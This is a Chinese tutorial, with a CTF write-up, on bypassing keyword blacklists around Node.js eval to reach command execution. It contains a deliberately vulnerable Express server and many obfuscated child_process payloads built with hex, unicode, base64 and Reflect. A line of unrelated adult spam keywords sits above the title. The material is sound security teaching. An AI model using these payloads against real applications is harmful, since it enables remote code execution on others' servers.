欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

nodejs代碼執(zhí)行繞過的一些技巧匯總

 更新時間:2021年04月28日 09:32:29   作者:sakai  
這篇文章主要給大家介紹了關(guān)于nodejs代碼執(zhí)行繞過的一些技巧,文中通過示例代碼介紹的非常詳細,對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧

在php中,eval代碼執(zhí)行是一個已經(jīng)被玩爛了的話題,各種奇技淫巧用在php代碼執(zhí)行中來實現(xiàn)bypass。這篇文章主要講一下nodejs中bypass的一些思路。

1. child_process

首先介紹一下nodejs中用來執(zhí)行系統(tǒng)命令的模塊child_process。Nodejs通過使用child_process模塊來生成多個子進程來處理其他事物。在child_process中有七個方法它們分別為:execFileSync、spawnSync,execSync、fork、exec、execFile、以及spawn,而這些方法使用到的都是spawn()方法。因為fork是運行另外一個子進程文件,這里列一下除fork外其他函數(shù)的用法。

require("child_process").exec("sleep 3");
require("child_process").execSync("sleep 3");
require("child_process").execFile("/bin/sleep",["3"]); //調(diào)用某個可執(zhí)行文件,在第二個參數(shù)傳args
require("child_process").spawn('sleep', ['3']);
require("child_process").spawnSync('sleep', ['3']);
require("child_process").execFileSync('sleep', ['3']);

不同的函數(shù)其實底層具體就是調(diào)用spawn,有興趣的可以跟進源碼看一下

const child = spawn(file, args, {
  cwd: options.cwd,
  env: options.env,
  gid: options.gid,
  uid: options.uid,
  shell: options.shell,
  windowsHide: !!options.windowsHide,
  windowsVerbatimArguments: !!options.windowsVerbatimArguments
});

2. nodejs中的命令執(zhí)行

為了演示代碼執(zhí)行,我寫一個最簡化的服務(wù)端,代碼如下

const express = require('express')
const bodyParser = require('body-parser')
const app = express()

app.use(bodyParser.urlencoded({ extended: true }))
app.post('/', function (req, res) {
    code = req.body.code;
    console.log(code);
    res.send(eval(code));
})

app.listen(3000)

原理很簡單,就是接受post方式傳過來的code參數(shù),然后返回eval(code)的結(jié)果。

在nodejs中,同樣是使用eval()函數(shù)來執(zhí)行代碼,針對上文提到rce函數(shù),首先就可以得到如下利用代碼執(zhí)行來rce的代碼。

以下的命令執(zhí)行都用curl本地端口的方式來執(zhí)行

eval('require("child_process").execSync("curl 127.0.0.1:1234")')

這是最簡單的代碼執(zhí)行情況,當(dāng)然一般情況下,開發(fā)者在用eval而且層層調(diào)用有可能接受用戶輸入的點,并不會簡單的讓用戶輸入直接進入,而是會做一些過濾。譬如,如果過濾了exec關(guān)鍵字,該如何繞過?

當(dāng)然實際不會這么簡單,本文只是談?wù)勊悸?,具體可以根據(jù)實際過濾的關(guān)鍵字變通

下面是微改后的服務(wù)端代碼,加了個正則檢測exec關(guān)鍵字

const express = require('express')
const bodyParser = require('body-parser')
const app = express()

function validcode(input) {
  var re = new RegExp("exec");
  return re.test(input);
}

app.use(bodyParser.urlencoded({ extended: true }))
app.post('/', function (req, res) {
  code = req.body.code;
  console.log(code);
  if (validcode(code)) {
    res.send("forbidden!")
  } else {
    res.send(eval(code));
  }
})

app.listen(3000)

這就有6種思路:

  • 16進制編碼
  • unicode編碼
  • 加號拼接
  • 模板字符串
  • concat函數(shù)連接
  • base64編碼

2.1 16進制編碼

第一種思路是16進制編碼,原因是在nodejs中,如果在字符串內(nèi)用16進制,和這個16進制對應(yīng)的ascii碼的字符是等價的(第一反應(yīng)有點像mysql)。

console.log("a"==="\x61");
// true

但是在上面正則匹配的時候,16進制卻不會轉(zhuǎn)化成字符,所以就可以繞過正則的校驗。所以可以傳

require("child_process")["exe\x63Sync"]("curl 127.0.0.1:1234")

2.2 unicode編碼

思路跟上面是類似的,由于JavaScript允許直接用碼點表示Unicode字符,寫法是”反斜杠+u+碼點”,所以我們也可以用一個字符的unicode形式來代替對應(yīng)字符。

console.log("\u0061"==="a");
// true
require("child_process")["exe\u0063Sync"]("curl 127.0.0.1:1234")

2.3 加號拼接

原理很簡單,加號在js中可以用來連接字符,所以可以這樣

require('child_process')['exe'%2b'cSync']('curl 127.0.0.1:1234')

2.4 模板字符串

相關(guān)內(nèi)容可以參考MDN,這里給出一個payload

模板字面量是允許嵌入表達式的字符串字面量。你可以使用多行字符串和字符串插值功能。

require('child_process')[`${`${`exe`}cSync`}`]('curl 127.0.0.1:1234')

2.5 concat連接

利用js中的concat函數(shù)連接字符串

require("child_process")["exe".concat("cSync")]("curl 127.0.0.1:1234")

2.6 base64編碼

這種應(yīng)該是比較常規(guī)的思路了。

eval(Buffer.from('Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=','base64').toString())

3. 其他bypass方式

這一塊主要是換個思路,上面提到的幾種方法,最終思路都是通過編碼或者拼接得到exec這個關(guān)鍵字,這一塊考慮js的一些語法和內(nèi)置函數(shù)。

3.1 Obejct.keys

實際上通過require導(dǎo)入的模塊是一個Object,所以就可以用Object中的方法來操作獲取內(nèi)容。利用Object.values就可以拿到child_process中的各個函數(shù)方法,再通過數(shù)組下標就可以拿到execSync

console.log(require('child_process').constructor===Object)
//true
Object.values(require('child_process'))[5]('curl 127.0.0.1:1234')

3.2 Reflect

在js中,需要使用Reflect這個關(guān)鍵字來實現(xiàn)反射調(diào)用函數(shù)的方式。譬如要得到eval函數(shù),可以首先通過Reflect.ownKeys(global)拿到所有函數(shù),然后global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]即可得到eval

console.log(Reflect.ownKeys(global))
//返回所有函數(shù)
console.log(global[Reflect.ownKeys(global).find(x=>x.includes('eval'))])
//拿到eval

拿到eval之后,就可以常規(guī)思路rce了

global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('global.process.mainModule.constructor._load("child_process").execSync("curl 127.0.0.1:1234")')

這里雖然有可能被檢測到的關(guān)鍵字,但由于mainModule、global、child_process等關(guān)鍵字都在字符串里,可以利用上面提到的方法編碼,譬如16進制。

global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('\x67\x6c\x6f\x62\x61\x6c\x5b\x52\x65\x66\x6c\x65\x63\x74\x2e\x6f\x77\x6e\x4b\x65\x79\x73\x28\x67\x6c\x6f\x62\x61\x6c\x29\x2e\x66\x69\x6e\x64\x28\x78\x3d\x3e\x78\x2e\x69\x6e\x63\x6c\x75\x64\x65\x73\x28\x27\x65\x76\x61\x6c\x27\x29\x29\x5d\x28\x27\x67\x6c\x6f\x62\x61\x6c\x2e\x70\x72\x6f\x63\x65\x73\x73\x2e\x6d\x61\x69\x6e\x4d\x6f\x64\x75\x6c\x65\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x2e\x5f\x6c\x6f\x61\x64\x28\x22\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73\x22\x29\x2e\x65\x78\x65\x63\x53\x79\x6e\x63\x28\x22\x63\x75\x72\x6c\x20\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x3a\x31\x32\x33\x34\x22\x29\x27\x29')

這里還有個小trick,如果過濾了eval關(guān)鍵字,可以用includes('eva')來搜索eval函數(shù),也可以用startswith('eva')來搜索

3.3 過濾中括號的情況

在3.2中,獲取到eval的方式是通過global數(shù)組,其中用到了中括號[],假如中括號被過濾,可以用Reflect.get來繞

Reflect.get(target, propertyKey[, receiver])的作用是獲取對象身上某個屬性的值,類似于target[name]。

所以取eval函數(shù)的方式可以變成

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))

后面拼接上命令執(zhí)行的payload即可。

4. NepCTF-gamejs

這個題目第一步是一個原型鏈污染,第二步是一個eval的命令執(zhí)行,因為本文主要探討一下eval的bypass方式,所以去掉原型鏈污染,只談后半段bypass,代碼簡化后如下:

const express = require('express')
const bodyParser = require('body-parser')
const app = express()

var validCode = function (func_code){
  let validInput = /subprocess|mainModule|from|buffer|process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base64|"|'|\[|\+|\*/ig;
  return !validInput.test(func_code);
};

app.use(bodyParser.urlencoded({ extended: true }))
app.post('/', function (req, res) {
  code = req.body.code;
  console.log(code);
  if (!validCode(code)) {
    res.send("forbidden!")
  } else {
    var d = '(' + code + ')';
    res.send(eval(d));
  }
})

app.listen(3000)

由于關(guān)鍵字過濾掉了單雙引號,這里可以全部換成反引號。沒有過濾掉Reflect,考慮用反射調(diào)用函數(shù)實現(xiàn)RCE。利用上面提到的幾點,逐步構(gòu)造一個非預(yù)期的payload。首先,由于過濾了child_process還有require關(guān)鍵字,我想到的是base64編碼一下再執(zhí)行

eval(Buffer.from(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base64`).toString())

這里過濾了base64,可以直接換成

`base`.concat(64)


過濾掉了Buffer,可以換成

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))

要拿到Buffer.from方法,可以通過下標

Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`))))[1]

但問題在于,關(guān)鍵字還過濾了中括號,這一點簡單,再加一層Reflect.get

Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)

所以基本payload變成

Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base`.concat(64)).toString()

但問題在于,這樣傳過去后,eval只會進行解碼,而不是執(zhí)行解碼后的內(nèi)容,所以需要再套一層eval,因為過濾了eval關(guān)鍵字,同樣考慮用反射獲取到eval函數(shù)。

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))(Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base`.concat(64)).toString())

在能拿到Buffer.from的情況下,用16進制編碼也一樣.

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))(Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`676c6f62616c2e70726f636573732e6d61696e4d6f64756c652e636f6e7374727563746f722e5f6c6f616428226368696c645f70726f6365737322292e6578656353796e6328226375726c203132372e302e302e313a313233342229`,`he`.concat(`x`)).toString())

當(dāng)然,由于前面提到的16進制和字符串的特性,也可以拿到eval后直接傳16進制字符串

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes(`eva`)))(`\x67\x6c\x6f\x62\x61\x6c\x2e\x70\x72\x6f\x63\x65\x73\x73\x2e\x6d\x61\x69\x6e\x4d\x6f\x64\x75\x6c\x65\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x2e\x5f\x6c\x6f\x61\x64\x28\x22\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73\x22\x29\x2e\x65\x78\x65\x63\x53\x79\x6e\x63\x28\x22\x63\x75\x72\x6c\x20\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x3a\x31\x32\x33\x34\x22\x29`)

感覺nodejs中對字符串的處理方式太靈活了,如果能eval的地方,最好還是不要用字符串黑名單做過濾吧。

感謝我前端大哥semesse的幫助 

參考鏈接

https://xz.aliyun.com/t/9167
https://camp.hackingfor.fun/

總結(jié)

到此這篇關(guān)于nodejs代碼執(zhí)行繞過的一些技巧匯總的文章就介紹到這了,更多相關(guān)nodejs代碼執(zhí)行繞過內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • Node.js + Redis Sorted Set實現(xiàn)任務(wù)隊列

    Node.js + Redis Sorted Set實現(xiàn)任務(wù)隊列

    本文給大家分享的是使用Node.js + Redis Sorted Set實現(xiàn)任務(wù)隊列的方法示例,非常的實用,有需要的小伙伴可以參考下
    2016-09-09
  • 理解nodejs的stream和pipe機制的原理和實現(xiàn)

    理解nodejs的stream和pipe機制的原理和實現(xiàn)

    本篇文章主要介紹了理解nodejs的stream和pipe機制的原理和實現(xiàn),具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2017-08-08
  • Node.js高級編程使用RPC通信示例詳解

    Node.js高級編程使用RPC通信示例詳解

    這篇文章主要為大家介紹了Node.js高級編程使用RPC通信示例詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步,早日升職加薪
    2023-01-01
  • 利用Node.js檢測端口是否被占用的方法

    利用Node.js檢測端口是否被占用的方法

    這篇文章主要給大家介紹了關(guān)于利用Node.js檢測端口是否被占用的相關(guān)資料,文中通過示例代碼介紹的非常詳細,對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧。
    2017-12-12
  • Node.js API詳解之 vm模塊用法實例分析

    Node.js API詳解之 vm模塊用法實例分析

    這篇文章主要介紹了Node.js API詳解之 vm模塊用法,結(jié)合實例形式分析了Node.js API中vm模塊基本功能、函數(shù)、使用方法及相關(guān)操作注意事項,需要的朋友可以參考下
    2020-05-05
  • Node中node_modules文件夾及package.json文件的作用說明

    Node中node_modules文件夾及package.json文件的作用說明

    這篇文章主要介紹了Node中node_modules文件夾及package.json文件的作用說明,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教
    2022-09-09
  • nodejs 實現(xiàn)MQTT協(xié)議的服務(wù)器端和客戶端的雙向交互的過程

    nodejs 實現(xiàn)MQTT協(xié)議的服務(wù)器端和客戶端的雙向交互的過程

    這篇文章主要介紹了nodejs 實現(xiàn)MQTT協(xié)議的服務(wù)器端和客戶端的雙向交互的過程,本文通過示例代碼給大家介紹的非常詳細,對大家的學(xué)習(xí)或工作具有一定的參考借鑒價值,需要的朋友參考下吧
    2023-11-11
  • windows如何把已安裝的nodejs高版本降級為低版本(圖文教程)

    windows如何把已安裝的nodejs高版本降級為低版本(圖文教程)

    這篇文章主要介紹了windows如何把已安裝的nodejs高版本降級為低版本,本文分步驟通過圖文并茂的形式給大家介紹的非常詳細,對大家的學(xué)習(xí)或工作具有一定的參考借鑒價值,需要的朋友可以參考下
    2020-12-12
  • 使用nodejs寫接口的詳細步驟

    使用nodejs寫接口的詳細步驟

    這篇文章主要給大家介紹了關(guān)于使用nodejs寫接口的詳細步驟,在Node.js中接口可以采用多種形式,包括函數(shù)接口、對象接口和事件接口等,需要的朋友可以參考下
    2023-10-10
  • koa2使用ejs和nunjucks作為模板引擎的使用

    koa2使用ejs和nunjucks作為模板引擎的使用

    這篇文章主要介紹了koa2使用ejs和nunjucks作為模板引擎的使用,小編覺得挺不錯的,現(xiàn)在分享給大家,也給大家做個參考。一起跟隨小編過來看看吧
    2018-11-11

最新評論